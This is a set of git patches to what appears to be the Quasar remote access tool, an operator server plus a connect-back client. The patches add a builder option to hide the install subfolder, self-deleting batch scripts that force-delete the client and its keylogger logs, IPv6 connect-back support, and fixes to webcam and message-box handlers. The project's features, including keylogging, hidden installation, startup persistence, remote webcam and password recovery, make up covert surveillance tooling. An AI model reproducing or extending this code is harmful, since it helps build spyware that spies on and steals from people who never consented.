b/Server/Core/Networking/UserState.cs @@ -82,6 +82,8 @@ protected virtual void Dispose(bool disposing) { if (FrmRdp != null) FrmRdp.Invoke((MethodInvoker)delegate { FrmRdp.Close(); }); + if (FrmWebcam != null) + FrmWebcam.Invoke((MethodInvoker)delegate { FrmWebcam.Close(); }); if (FrmTm != null) FrmTm.Invoke((MethodInvoker)delegate { FrmTm.Close(); }); if (FrmFm != null) diff --git a/Server/Forms/FrmMain.Designer.cs b/Server/Forms/FrmMain.Designer.cs index 450bb00bb..46149f050 100644 --- a/Server/Forms/FrmMain.Designer.cs +++ b/Server/Forms/FrmMain.Designer.cs @@ -386,6 +386,7 @@ private void InitializeComponent() this.selectAllToolStripMenuItem.Name = "selectAllToolStripMenuItem"; this.selectAllToolStripMenuItem.Size = new System.Drawing.Size(149, 22); this.selectAllToolStripMenuItem.Text = "Select All"; + this.selectAllToolStripMenuItem.Click += new System.EventHandler(this.selectAllToolStripMenuItem_Click); // // imgFlags // diff --git a/Server/Forms/FrmMain.cs b/Server/Forms/FrmMain.cs index e78f63b54..f256540e3 100644 --- a/Server/Forms/FrmMain.cs +++ b/Server/Forms/FrmMain.cs @@ -701,8 +701,8 @@ private void remoteWebcamToolStripMenuItem_Click(object sender, EventArgs e) c.Value.FrmWebcam.Focus(); return; } - FrmRemoteWebcam FrmWebcam = new FrmRemoteWebcam(c); - FrmWebcam.Show(); + FrmRemoteWebcam frmWebcam = new FrmRemoteWebcam(c); + frmWebcam.Show(); } } private void passwordRecoveryToolStripMenuItem_Click(object sender, EventArgs e) @@ -852,7 +852,6 @@ private void selectAllToolStripMenuItem_Click(object sender, EventArgs e) lstClients.SelectAllItems(); } - #endregion #region "MenuStrip" @@ -903,7 +902,5 @@ private void notifyIcon_MouseDoubleClick(object sender, MouseEventArgs e) } #endregion - - } } \ No newline at end of file From 30357982f5a8d05328536a09d120132d4d1b03dc Mon Sep 17 00:00:00 2001 From: MaxXor Date: Sun, 26 Jun 2016 20:09:44 +0200 Subject: [PATCH 052/229] Fixed #459 --- Client/Core/Networking/Client.cs | 4 ++-- Server/Core/Networking/Client.cs | 4 ++-- 2 files changed, 4 insertions(+), 4 deletions(-) diff --git a/Client/Core/Networking/Client.cs b/Client/Core/Networking/Client.cs index 8988c012a..c7e5defb7 100644 --- a/Client/Core/Networking/Client.cs +++ b/Client/Core/Networking/Client.cs @@ -388,7 +388,7 @@ private void AsyncReceive(object state) { case ReceiveType.Header: { - if (_readableDataLen >= HEADER_SIZE) + if (_readableDataLen + _tempHeaderOffset >= HEADER_SIZE) { // we can read the header int headerLength = (_appendHeader) ? HEADER_SIZE - _tempHeaderOffset @@ -432,7 +432,7 @@ private void AsyncReceive(object state) _readOffset += headerLength; _receiveState = ReceiveType.Payload; } - else // _parentServer.HEADER_SIZE < _readableDataLen + else // _readableDataLen < HEADER_SIZE { try { diff --git a/Server/Core/Networking/Client.cs b/Server/Core/Networking/Client.cs index 7a817b4f8..f79ebf791 100644 --- a/Server/Core/Networking/Client.cs +++ b/Server/Core/Networking/Client.cs @@ -363,7 +363,7 @@ private void AsyncReceive(object state) { case ReceiveType.Header: { - if (_readableDataLen >= _parentServer.HEADER_SIZE) + if (_readableDataLen + _tempHeaderOffset >= _parentServer.HEADER_SIZE) { // we can read the header int headerLength = (_appendHeader) ? _parentServer.HEADER_SIZE - _tempHeaderOffset @@ -407,7 +407,7 @@ private void AsyncReceive(object state) _readOffset += headerLength; _receiveState = ReceiveType.Payload; } - else // _parentServer.HEADER_SIZE < _readableDataLen + else // _readableDataLen < _parentServer.HEADER_SIZE { try { From b8b64ef9425a8607697655e51b85475600469c13 Mon Sep 17 00:00:00 2001 From: MaxXor Date: Sun, 26 Jun 2016 21:23:04 +0200 Subject: [PATCH 053/229] Added HideSubDirectory to Builder Profile --- Server/Core/Data/BuilderProfile.cs | 12 ++++++++++++ Server/Forms/FrmBuilder.Designer.cs | 20 ++++++++++---------- Server/Forms/FrmBuilder.cs | 4 +++- 3 files changed, 25 insertions(+), 11 deletions(-) diff --git a/Server/Core/Data/BuilderProfile.cs b/Server/Core/Data/BuilderProfile.cs index bf58930b7..0a452489c 100644 --- a/Server/Core/Data/BuilderProfile.cs +++ b/Server/Core/Data/BuilderProfile.cs @@ -131,6 +131,18 @@ public bool HideFile } } + public bool HideSubDirectory + { + get + { + return bool.Parse(ReadValueSafe("HideSubDirectory", "False")); + } + set + { + WriteValue("HideSubDirectory", value.ToString()); + } + } + public bool AddStartup { get diff --git a/Server/Forms/FrmBuilder.Designer.cs b/Server/Forms/FrmBuilder.Designer.cs index 285f2fd63..b99dca439 100644 --- a/Server/Forms/FrmBuilder.Designer.cs +++ b/Server/Forms/FrmBuilder.Designer.cs @@ -124,7 +124,7 @@ private void InitializeComponent() this.line10 = new xServer.Controls.Line(); this.label14 = new System.Windows.Forms.Label(); this.chkKeylogger = new System.Windows.Forms.CheckBox(); - this.chkHideSubdirectory = new System.Windows.Forms.CheckBox(); + this.chkHideSubDirectory = new System.Windows.Forms.CheckBox(); this.contextMenuStrip.SuspendLayout(); this.builderTabs.SuspendLayout(); this.generalPage.SuspendLayout(); @@ -541,7 +541,7 @@ private void InitializeComponent() // installationPage // this.installationPage.BackColor = System.Drawing.SystemColors.Control; - this.installationPage.Controls.Add(this.chkHideSubdirectory); + this.installationPage.Controls.Add(this.chkHideSubDirectory); this.installationPage.Controls.Add(this.line7); this.installationPage.Controls.Add(this.label10); this.installationPage.Controls.Add(this.line4); @@ -1119,13 +1119,13 @@ private void InitializeComponent() // // chkHideSubdirectory // - this.chkHideSubdirectory.AutoSize = true; - this.chkHideSubdirectory.Location = new System.Drawing.Point(186, 185); - this.chkHideSubdirectory.Name = "chkHideSubdirectory"; - this.chkHideSubdirectory.Size = new System.Drawing.Size(202, 17); - this.chkHideSubdirectory.TabIndex = 37; - this.chkHideSubdirectory.Text = "Set subfolder attributes to hidden"; - this.chkHideSubdirectory.UseVisualStyleBackColor = true; + this.chkHideSubDirectory.AutoSize = true; + this.chkHideSubDirectory.Location = new System.Drawing.Point(186, 185); + this.chkHideSubDirectory.Name = "chkHideSubdirectory"; + this.chkHideSubDirectory.Size = new System.Drawing.Size(202, 17); + this.chkHideSubDirectory.TabIndex = 37; + this.chkHideSubDirectory.Text = "Set subfolder attributes to hidden"; + this.chkHideSubDirectory.UseVisualStyleBackColor = true; // // FrmBuilder // @@ -1262,6 +1262,6 @@ private void InitializeComponent() private System.Windows.Forms.CheckBox chkHideLogDirectory; private System.Windows.Forms.NumericUpDown numericUpDownDelay; private System.Windows.Forms.NumericUpDown numericUpDownPort; - private System.Windows.Forms.CheckBox chkHideSubdirectory; + private System.Windows.Forms.CheckBox chkHideSubDirectory; } } diff --git a/Server/Forms/FrmBuilder.cs b/Server/Forms/FrmBuilder.cs index db9e3afb9..0db5159c3 100644 --- a/Server/Forms/FrmBuilder.cs +++ b/Server/Forms/FrmBuilder.cs @@ -39,6 +39,7 @@ private void LoadProfile(string profilename) GetInstallPath(profile.InstallPath).Checked = true; txtInstallsub.Text = profile.InstallSub; chkHide.Checked = profile.HideFile; + chkHideSubDirectory.Checked = profile.HideSubDirectory; chkStartup.Checked = profile.AddStartup; txtRegistryKeyName.Text = profile.RegistryName; chkChangeIcon.Checked = profile.ChangeIcon; @@ -73,6 +74,7 @@ private void SaveProfile(string profilename) profile.InstallPath = GetInstallPath(); profile.InstallSub = txtInstallsub.Text; profile.HideFile = chkHide.Checked; + profile.HideSubDirectory = chkHideSubDirectory.Checked; profile.AddStartup = chkStartup.Checked; profile.RegistryName = txtRegistryKeyName.Text; profile.ChangeIcon = chkChangeIcon.Checked; @@ -261,10 +263,10 @@ private BuildOptions ValidateInput() options.Install = chkInstall.Checked; options.Startup = chkStartup.Checked; options.HideFile = chkHide.Checked; + options.HideInstallSubdirectory = chkHideSubDirectory.Checked; options.Keylogger = chkKeylogger.Checked; options.LogDirectoryName = txtLogDirectoryName.Text; options.HideLogDirectory = chkHideLogDirectory.Checked; - options.HideInstallSubdirectory = chkHideSubdirectory.Checked; if (options.Password.Length < 3) { From 6863e6d1bd8badff77f6f7df1ae699ffa7b33526 Mon Sep 17 00:00:00 2001 From: MaxXor Date: Sun, 26 Jun 2016 21:27:27 +0200 Subject: [PATCH 054/229] Improved update/uninstall/restart batch files --- Client/Core/Helper/FileHelper.cs | 68 ++++++------------- Client/Core/Installation/ClientUninstaller.cs | 22 ------ 2 files changed, 19 insertions(+), 71 deletions(-) diff --git a/Client/Core/Helper/FileHelper.cs b/Client/Core/Helper/FileHelper.cs index 4034de662..c383d7df3 100644 --- a/Client/Core/Helper/FileHelper.cs +++ b/Client/Core/Helper/FileHelper.cs @@ -1,7 +1,6 @@ using System; using System.IO; using System.Text; -using xClient.Config; using xClient.Core.Cryptography; using xClient.Core.Data; using xClient.Core.Utilities; @@ -54,18 +53,13 @@ public static string CreateUninstallBatch(bool isFileHidden) { string batchFile = GetTempFilePath(".bat"); - string uninstallBatch = (isFileHidden) - ? "@echo off" + "\n" + - "echo DONT CLOSE THIS WINDOW!" + "\n" + - "ping -n 10 localhost > nul" + "\n" + - "del /A:H " + "\"" + ClientData.CurrentPath + "\"" + "\n" + - "del " + "\"" + batchFile + "\"" - : "@echo off" + "\n" + - "echo DONT CLOSE THIS WINDOW!" + "\n" + - "ping -n 10 localhost > nul" + "\n" + - "del " + "\"" + ClientData.CurrentPath + "\"" + "\n" + - "del " + "\"" + batchFile + "\"" - ; + string uninstallBatch = + "@echo off" + "\n" + + "echo DONT CLOSE THIS WINDOW!" + "\n" + + "ping -n 10 localhost > nul" + "\n" + + "del /a /q /f " + "\"" + ClientData.CurrentPath + "\"" + "\n" + + "rmdir /q /s " + "\"" + Keylogger.LogDirectory + "\"" + "\n" + + "del /a /q /f " + "\"" + batchFile + "\""; File.WriteAllText(batchFile, uninstallBatch); return batchFile; @@ -82,24 +76,16 @@ public static string CreateUpdateBatch(string newFilePath, bool isFileHidden) { string batchFile = GetTempFilePath(".bat"); - string uninstallBatch = (isFileHidden) - ? "@echo off" + "\n" + - "echo DONT CLOSE THIS WINDOW!" + "\n" + - "ping -n 10 localhost > nul" + "\n" + - "del /A:H " + "\"" + ClientData.CurrentPath + "\"" + "\n" + - "move " + "\"" + newFilePath + "\"" + " " + "\"" + ClientData.CurrentPath + "\"" + "\n" + - "start \"\" " + "\"" + ClientData.CurrentPath + "\"" + "\n" + - "del " + "\"" + batchFile + "\"" - : "@echo off" + "\n" + - "echo DONT CLOSE THIS WINDOW!" + "\n" + - "ping -n 10 localhost > nul" + "\n" + - "del " + "\"" + ClientData.CurrentPath + "\"" + "\n" + - "move " + "\"" + newFilePath + "\"" + " " + "\"" + ClientData.CurrentPath + "\"" + "\n" + - "start \"\" " + "\"" + ClientData.CurrentPath + "\"" + "\n" + - "del " + "\"" + batchFile + "\"" - ; + string updateBatch = + "@echo off" + "\n" + + "echo DONT CLOSE THIS WINDOW!" + "\n" + + "ping -n 10 localhost > nul" + "\n" + + "del /a /q /f " + "\"" + ClientData.CurrentPath + "\"" + "\n" + + "move /y " + "\"" + newFilePath + "\"" + " " + "\"" + ClientData.CurrentPath + "\"" + "\n" + + "start \"\" " + "\"" + ClientData.CurrentPath + "\"" + "\n" + + "del /a /q /f " + "\"" + batchFile + "\""; - File.WriteAllText(batchFile, uninstallBatch); + File.WriteAllText(batchFile, updateBatch); return batchFile; } catch (Exception) @@ -114,14 +100,14 @@ public static string CreateRestartBatch() { string batchFile = GetTempFilePath(".bat"); - string uninstallBatch = + string restartBatch = "@echo off" + "\n" + "echo DONT CLOSE THIS WINDOW!" + "\n" + "ping -n 10 localhost > nul" + "\n" + "start \"\" " + "\"" + ClientData.CurrentPath + "\"" + "\n" + - "del " + "\"" + batchFile + "\""; + "del /a /q /f " + "\"" + batchFile + "\""; - File.WriteAllText(batchFile, uninstallBatch); + File.WriteAllText(batchFile, restartBatch); return batchFile; } @@ -131,22 +117,6 @@ public static string CreateRestartBatch() } } - public static bool ClearReadOnly(string filePath) - { - try - { - FileInfo fi = new FileInfo(filePath); - if (!fi.Exists) return false; - if (fi.IsReadOnly) - fi.IsReadOnly = false; - return true; - } - catch - { - return false; - } - } - /// /// Appends text to a log file. /// diff --git a/Client/Core/Installation/ClientUninstaller.cs b/Client/Core/Installation/ClientUninstaller.cs index e1b47c3d0..f5a89cfa9 100644 --- a/Client/Core/Installation/ClientUninstaller.cs +++ b/Client/Core/Installation/ClientUninstaller.cs @@ -1,11 +1,8 @@ using System; using System.Diagnostics; -using System.IO; using xClient.Config; -using xClient.Core.Data; using xClient.Core.Helper; using xClient.Core.Networking; -using xClient.Core.Utilities; namespace xClient.Core.Installation { @@ -15,14 +12,9 @@ public static void Uninstall(Client client) { try { - RemoveExistingLogs(); - if (Settings.STARTUP) Startup.RemoveFromStartup(); - if (!FileHelper.ClearReadOnly(ClientData.CurrentPath)) - throw new Exception("Could not clear read-only attribute"); - string batchFile = FileHelper.CreateUninstallBatch(Settings.INSTALL && Settings.HIDEFILE); if (string.IsNullOrEmpty(batchFile)) @@ -43,19 +35,5 @@ public static void Uninstall(Client client) new Packets.ClientPackets.SetStatus(string.Format("Uninstallation failed: {0}", ex.Message)).Execute(client); } } - - public static void RemoveExistingLogs() - { - if (Directory.Exists(Keylogger.LogDirectory)) // try to delete Logs from Keylogger - { - try - { - Directory.Delete(Keylogger.LogDirectory, true); - } - catch - { - } - } - } } } From 630f7917ea7bc809c6847fe441438b82445b699e Mon Sep 17 00:00:00 2001 From: MaxXor Date: Sun, 3 Jul 2016 00:14:39 +0200 Subject: [PATCH 055/229] Fixed #473 --- Server/Forms/FrmShowMessagebox.cs | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/Server/Forms/FrmShowMessagebox.cs b/Server/Forms/FrmShowMessagebox.cs index e44135fcf..e8fd5e15b 100644 --- a/Server/Forms/FrmShowMessagebox.cs +++ b/Server/Forms/FrmShowMessagebox.cs @@ -42,7 +42,7 @@ private void btnSend_Click(object sender, EventArgs e) Messagebox.Caption = txtCaption.Text; Messagebox.Text = txtText.Text; Messagebox.Button = GetMessageBoxButton(cmbMsgButtons.SelectedIndex); - Messagebox.Icon = GetMessageBoxIcon(cmbMsgButtons.SelectedIndex); + Messagebox.Icon = GetMessageBoxIcon(cmbMsgIcon.SelectedIndex); this.DialogResult = DialogResult.OK; this.Close(); From 49efa375a18b201600f3387d14aaf501a8770393 Mon Sep 17 00:00:00 2001 From: MaxXor Date: Thu, 7 Jul 2016 22:49:52 +0200 Subject: [PATCH 056/229] Added IPv6 support --- Client/Core/Data/Host.cs | 14 ++++- Client/Core/Networking/Client.cs | 11 ++-- Client/Core/Networking/QuasarClient.cs | 2 +- Client/Core/Utilities/HostsManager.cs | 38 ++++++++++++++ Server/Core/Data/Settings.cs | 12 +++++ Server/Core/Networking/Server.cs | 16 ++++-- Server/Forms/FrmMain.cs | 4 +- Server/Forms/FrmSettings.Designer.cs | 72 +++++++++++++++----------- Server/Forms/FrmSettings.cs | 12 ++++- 9 files changed, 138 insertions(+), 43 deletions(-) diff --git a/Client/Core/Data/Host.cs b/Client/Core/Data/Host.cs index e45077fe0..c4bbf6082 100644 --- a/Client/Core/Data/Host.cs +++ b/Client/Core/Data/Host.cs @@ -1,4 +1,6 @@ -namespace xClient.Core.Data +using System.Net; + +namespace xClient.Core.Data { public class Host { @@ -6,10 +8,18 @@ public class Host /// Stores the hostname of the Host. /// /// - /// Can be an IPv4 address or hostname. IPv6 support not tested. + /// Can be an IPv4, IPv6 address or hostname. /// public string Hostname { get; set; } + /// + /// Stores the IP address of host. + /// + /// + /// Can be an IPv4 or IPv6 address. + /// + public IPAddress IpAddress { get; set; } + /// /// Stores the port of the Host. /// diff --git a/Client/Core/Networking/Client.cs b/Client/Core/Networking/Client.cs index c7e5defb7..d18818812 100644 --- a/Client/Core/Networking/Client.cs +++ b/Client/Core/Networking/Client.cs @@ -2,6 +2,7 @@ using System.Collections.Generic; using System.IO; using System.Linq; +using System.Net; using System.Net.Sockets; using System.Threading; using xClient.Core.Compression; @@ -271,19 +272,19 @@ protected Client() } /// - /// Attempts to connect to the specified host on the specified port. + /// Attempts to connect to the specified ip address on the specified port. /// - /// The host (or server) to connect to. + /// The ip address to connect to. /// The port of the host. - protected void Connect(string host, ushort port) + protected void Connect(IPAddress ip, ushort port) { try { Disconnect(); - _handle = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp); + _handle = new Socket(ip.AddressFamily, SocketType.Stream, ProtocolType.Tcp); _handle.SetKeepAliveEx(KEEP_ALIVE_INTERVAL, KEEP_ALIVE_TIME); - _handle.Connect(host, port); + _handle.Connect(ip, port); if (_handle.Connected) { diff --git a/Client/Core/Networking/QuasarClient.cs b/Client/Core/Networking/QuasarClient.cs index b92bc6e5f..e5ee16fd0 100644 --- a/Client/Core/Networking/QuasarClient.cs +++ b/Client/Core/Networking/QuasarClient.cs @@ -119,7 +119,7 @@ public void Connect() Host host = _hosts.GetNextHost(); - base.Connect(host.Hostname, host.Port); + base.Connect(host.IpAddress, host.Port); Thread.Sleep(200); diff --git a/Client/Core/Utilities/HostsManager.cs b/Client/Core/Utilities/HostsManager.cs index 9f4a1f88a..0664307ca 100644 --- a/Client/Core/Utilities/HostsManager.cs +++ b/Client/Core/Utilities/HostsManager.cs @@ -1,4 +1,6 @@ using System.Collections.Generic; +using System.Net; +using System.Net.Sockets; using xClient.Core.Data; namespace xClient.Core.Utilities @@ -20,7 +22,43 @@ public Host GetNextHost() var temp = _hosts.Dequeue(); _hosts.Enqueue(temp); // add to the end of the queue + temp.IpAddress = GetIp(temp); return temp; } + + private static IPAddress GetIp(Host host) + { + if (string.IsNullOrEmpty(host.Hostname)) return null; + + IPAddress ip; + if (IPAddress.TryParse(host.Hostname, out ip)) + { + if (ip.AddressFamily == AddressFamily.InterNetworkV6) + { + if (!Socket.OSSupportsIPv6) return null; + } + return ip; + } + + var ipAddresses = Dns.GetHostEntry(host.Hostname).AddressList; + foreach (IPAddress ipAddress in ipAddresses) + { + switch (ipAddress.AddressFamily) + { + case AddressFamily.InterNetwork: + return ipAddress; + case AddressFamily.InterNetworkV6: + /* Only use resolved IPv6 if no IPv4 address available, + * otherwise it could be possible that the router the client + * is using to connect to the internet doesn't support IPv6. + */ + if (ipAddresses.Length == 1) + return ipAddress; + break; + } + } + + return ip; + } } } diff --git a/Server/Core/Data/Settings.cs b/Server/Core/Data/Settings.cs index febbe9230..f24961e01 100644 --- a/Server/Core/Data/Settings.cs +++ b/Server/Core/Data/Settings.cs @@ -23,6 +23,18 @@ public static ushort ListenPort } } + public static bool IPv6Support + { + get + { + return bool.Parse(ReadValueSafe("IPv6Support", "False")); + } + set + { + WriteValue("IPv6Support", value.ToString()); + } + } + public static bool ShowToU { get diff --git a/Server/Core/Networking/Server.cs b/Server/Core/Networking/Server.cs index 1b771e9f7..749039c2b 100644 --- a/Server/Core/Networking/Server.cs +++ b/Server/Core/Networking/Server.cs @@ -239,7 +239,8 @@ protected Server() /// Begins listening for clients. /// /// Port to listen for clients on. - public void Listen(ushort port) + /// If set to true, use a dual-stack socket to allow IPv4/6 connections. Otherwise use IPv4-only socket. + public void Listen(ushort port, bool ipv6) { this.Port = port; try @@ -252,8 +253,17 @@ public void Listen(ushort port) _handle = null; } - _handle = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp); - _handle.Bind(new IPEndPoint(IPAddress.Any, port)); + if (Socket.OSSupportsIPv6 && ipv6) + { + _handle = new Socket(AddressFamily.InterNetworkV6, SocketType.Stream, ProtocolType.Tcp); + _handle.SetSocketOption(SocketOptionLevel.IPv6, SocketOptionName.IPv6Only, false); + _handle.Bind(new IPEndPoint(IPAddress.IPv6Any, port)); + } + else + { + _handle = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp); + _handle.Bind(new IPEndPoint(IPAddress.Any, port)); + } _handle.Listen(1000); ProcessingDisconnect = false; diff --git a/Server/Forms/FrmMain.cs b/Server/Forms/FrmMain.cs index f256540e3..9aa445fba 100644 --- a/Server/Forms/FrmMain.cs +++ b/Server/Forms/FrmMain.cs @@ -88,12 +88,12 @@ private void AutostartListening() if (Settings.AutoListen && Settings.UseUPnP) { UPnP.Initialize(Settings.ListenPort); - ListenServer.Listen(Settings.ListenPort); + ListenServer.Listen(Settings.ListenPort, Settings.IPv6Support); } else if (Settings.AutoListen) { UPnP.Initialize(); - ListenServer.Listen(Settings.ListenPort); + ListenServer.Listen(Settings.ListenPort, Settings.IPv6Support); } else { diff --git a/Server/Forms/FrmSettings.Designer.cs b/Server/Forms/FrmSettings.Designer.cs index 85a495d39..08f0f8c14 100644 --- a/Server/Forms/FrmSettings.Designer.cs +++ b/Server/Forms/FrmSettings.Designer.cs @@ -48,15 +48,16 @@ private void InitializeComponent() this.txtNoIPUser = new System.Windows.Forms.TextBox(); this.txtNoIPHost = new System.Windows.Forms.TextBox(); this.chkShowPassword = new System.Windows.Forms.CheckBox(); + this.chkIPv6Support = new System.Windows.Forms.CheckBox(); ((System.ComponentModel.ISupportInitialize)(this.ncPort)).BeginInit(); this.SuspendLayout(); // // btnSave // - this.btnSave.Location = new System.Drawing.Point(227, 273); + this.btnSave.Location = new System.Drawing.Point(227, 296); this.btnSave.Name = "btnSave"; this.btnSave.Size = new System.Drawing.Size(75, 23); - this.btnSave.TabIndex = 18; + this.btnSave.TabIndex = 19; this.btnSave.Text = "&Save"; this.btnSave.UseVisualStyleBackColor = true; this.btnSave.Click += new System.EventHandler(this.btnSave_Click); @@ -95,20 +96,20 @@ private void InitializeComponent() // chkAutoListen // this.chkAutoListen.AutoSize = true; - this.chkAutoListen.Location = new System.Drawing.Point(15, 63); + this.chkAutoListen.Location = new System.Drawing.Point(15, 86); this.chkAutoListen.Name = "chkAutoListen"; this.chkAutoListen.Size = new System.Drawing.Size(222, 17); - this.chkAutoListen.TabIndex = 5; + this.chkAutoListen.TabIndex = 6; this.chkAutoListen.Text = "Listen for new connections on startup"; this.chkAutoListen.UseVisualStyleBackColor = true; // // chkPopup // this.chkPopup.AutoSize = true; - this.chkPopup.Location = new System.Drawing.Point(15, 86); + this.chkPopup.Location = new System.Drawing.Point(15, 109); this.chkPopup.Name = "chkPopup"; this.chkPopup.Size = new System.Drawing.Size(259, 17); - this.chkPopup.TabIndex = 6; + this.chkPopup.TabIndex = 7; this.chkPopup.Text = "Show popup notification on new connection"; this.chkPopup.UseVisualStyleBackColor = true; // @@ -124,10 +125,10 @@ private void InitializeComponent() // // btnCancel // - this.btnCancel.Location = new System.Drawing.Point(146, 273); + this.btnCancel.Location = new System.Drawing.Point(146, 296); this.btnCancel.Name = "btnCancel"; this.btnCancel.Size = new System.Drawing.Size(75, 23); - this.btnCancel.TabIndex = 17; + this.btnCancel.TabIndex = 18; this.btnCancel.Text = "&Cancel"; this.btnCancel.UseVisualStyleBackColor = true; this.btnCancel.Click += new System.EventHandler(this.btnCancel_Click); @@ -151,30 +152,30 @@ private void InitializeComponent() // chkUseUpnp // this.chkUseUpnp.AutoSize = true; - this.chkUseUpnp.Location = new System.Drawing.Point(15, 109); + this.chkUseUpnp.Location = new System.Drawing.Point(15, 132); this.chkUseUpnp.Name = "chkUseUpnp"; this.chkUseUpnp.Size = new System.Drawing.Size(230, 17); - this.chkUseUpnp.TabIndex = 7; + this.chkUseUpnp.TabIndex = 8; this.chkUseUpnp.Text = "Try to automatically port forward (UPnP)"; this.chkUseUpnp.UseVisualStyleBackColor = true; // // chkShowTooltip // this.chkShowTooltip.AutoSize = true; - this.chkShowTooltip.Location = new System.Drawing.Point(15, 132); + this.chkShowTooltip.Location = new System.Drawing.Point(15, 155); this.chkShowTooltip.Name = "chkShowTooltip"; this.chkShowTooltip.Size = new System.Drawing.Size(268, 17); - this.chkShowTooltip.TabIndex = 8; + this.chkShowTooltip.TabIndex = 9; this.chkShowTooltip.Text = "Show tooltip on client with system information"; this.chkShowTooltip.UseVisualStyleBackColor = true; // // chkNoIPIntegration // this.chkNoIPIntegration.AutoSize = true; - this.chkNoIPIntegration.Location = new System.Drawing.Point(15, 155); + this.chkNoIPIntegration.Location = new System.Drawing.Point(15, 178); this.chkNoIPIntegration.Name = "chkNoIPIntegration"; this.chkNoIPIntegration.Size = new System.Drawing.Size(192, 17); - this.chkNoIPIntegration.TabIndex = 9; + this.chkNoIPIntegration.TabIndex = 10; this.chkNoIPIntegration.Text = "Activate No-Ip.com DNS Updater"; this.chkNoIPIntegration.UseVisualStyleBackColor = true; this.chkNoIPIntegration.CheckedChanged += new System.EventHandler(this.chkNoIPIntegration_CheckedChanged); @@ -183,73 +184,85 @@ private void InitializeComponent() // this.lblHost.AutoSize = true; this.lblHost.Enabled = false; - this.lblHost.Location = new System.Drawing.Point(33, 181); + this.lblHost.Location = new System.Drawing.Point(33, 204); this.lblHost.Name = "lblHost"; this.lblHost.Size = new System.Drawing.Size(34, 13); - this.lblHost.TabIndex = 10; + this.lblHost.TabIndex = 11; this.lblHost.Text = "Host:"; // // lblPass // this.lblPass.AutoSize = true; this.lblPass.Enabled = false; - this.lblPass.Location = new System.Drawing.Point(170, 209); + this.lblPass.Location = new System.Drawing.Point(170, 232); this.lblPass.Name = "lblPass"; this.lblPass.Size = new System.Drawing.Size(32, 13); - this.lblPass.TabIndex = 14; + this.lblPass.TabIndex = 15; this.lblPass.Text = "Pass:"; // // lblUser // this.lblUser.AutoSize = true; this.lblUser.Enabled = false; - this.lblUser.Location = new System.Drawing.Point(33, 209); + this.lblUser.Location = new System.Drawing.Point(33, 232); this.lblUser.Name = "lblUser"; this.lblUser.Size = new System.Drawing.Size(32, 13); - this.lblUser.TabIndex = 12; + this.lblUser.TabIndex = 13; this.lblUser.Text = "Mail:"; // // txtNoIPPass // this.txtNoIPPass.Enabled = false; - this.txtNoIPPass.Location = new System.Drawing.Point(202, 206); + this.txtNoIPPass.Location = new System.Drawing.Point(202, 229); this.txtNoIPPass.Name = "txtNoIPPass"; this.txtNoIPPass.Size = new System.Drawing.Size(100, 22); - this.txtNoIPPass.TabIndex = 15; + this.txtNoIPPass.TabIndex = 16; // // txtNoIPUser // this.txtNoIPUser.Enabled = false; - this.txtNoIPUser.Location = new System.Drawing.Point(73, 206); + this.txtNoIPUser.Location = new System.Drawing.Point(73, 229); this.txtNoIPUser.Name = "txtNoIPUser"; this.txtNoIPUser.Size = new System.Drawing.Size(91, 22); - this.txtNoIPUser.TabIndex = 13; + this.txtNoIPUser.TabIndex = 14; // // txtNoIPHost // this.txtNoIPHost.Enabled = false; - this.txtNoIPHost.Location = new System.Drawing.Point(73, 178); + this.txtNoIPHost.Location = new System.Drawing.Point(73, 201); this.txtNoIPHost.Name = "txtNoIPHost"; this.txtNoIPHost.Size = new System.Drawing.Size(229, 22); - this.txtNoIPHost.TabIndex = 11; + this.txtNoIPHost.TabIndex = 12; // // chkShowPassword // this.chkShowPassword.AutoSize = true; this.chkShowPassword.Enabled = false; - this.chkShowPassword.Location = new System.Drawing.Point(195, 234); + this.chkShowPassword.Location = new System.Drawing.Point(195, 257); this.chkShowPassword.Name = "chkShowPassword"; this.chkShowPassword.Size = new System.Drawing.Size(107, 17); - this.chkShowPassword.TabIndex = 16; + this.chkShowPassword.TabIndex = 17; this.chkShowPassword.Text = "Show Password"; this.chkShowPassword.UseVisualStyleBackColor = true; this.chkShowPassword.CheckedChanged += new System.EventHandler(this.chkShowPassword_CheckedChanged); // + // chkIPv6Support + // + this.chkIPv6Support.AutoSize = true; + this.chkIPv6Support.Location = new System.Drawing.Point(15, 63); + this.chkIPv6Support.Name = "chkIPv6Support"; + this.chkIPv6Support.Size = new System.Drawing.Size(128, 17); + this.chkIPv6Support.TabIndex = 5; + this.chkIPv6Support.Text = "Enable IPv6 support"; + this.chkIPv6Support.UseVisualStyleBackColor = true; + this.chkIPv6Support.CheckedChanged += new System.EventHandler(this.chkIPv6Support_CheckedChanged); + // // FrmSettings // this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 13F); this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font; - this.ClientSize = new System.Drawing.Size(314, 308); + this.ClientSize = new System.Drawing.Size(314, 333); + this.Controls.Add(this.chkIPv6Support); this.Controls.Add(this.chkShowPassword); this.Controls.Add(this.txtNoIPHost); this.Controls.Add(this.txtNoIPUser); @@ -305,5 +318,6 @@ private void InitializeComponent() private System.Windows.Forms.TextBox txtNoIPUser; private System.Windows.Forms.TextBox txtNoIPHost; private System.Windows.Forms.CheckBox chkShowPassword; + private System.Windows.Forms.CheckBox chkIPv6Support; } } \ No newline at end of file diff --git a/Server/Forms/FrmSettings.cs b/Server/Forms/FrmSettings.cs index 3d58780f8..40a5b5232 100644 --- a/Server/Forms/FrmSettings.cs +++ b/Server/Forms/FrmSettings.cs @@ -24,6 +24,7 @@ public FrmSettings(QuasarServer listenServer) btnListen.Text = "Stop listening"; ncPort.Enabled = false; txtPassword.Enabled = false; + chkIPv6Support.Enabled = false; } ShowPassword(false); @@ -32,6 +33,7 @@ public FrmSettings(QuasarServer listenServer) private void FrmSettings_Load(object sender, EventArgs e) { ncPort.Value = Settings.ListenPort; + chkIPv6Support.Checked = Settings.IPv6Support; chkAutoListen.Checked = Settings.AutoListen; chkPopup.Checked = Settings.ShowPopup; txtPassword.Text = Settings.Password; @@ -95,13 +97,14 @@ private void btnListen_Click(object sender, EventArgs e) } if(chkNoIPIntegration.Checked) NoIpUpdater.Start(); - _listenServer.Listen(port); + _listenServer.Listen(port, chkIPv6Support.Checked); } finally { btnListen.Text = "Stop listening"; ncPort.Enabled = false; txtPassword.Enabled = false; + chkIPv6Support.Enabled = false; } } else if 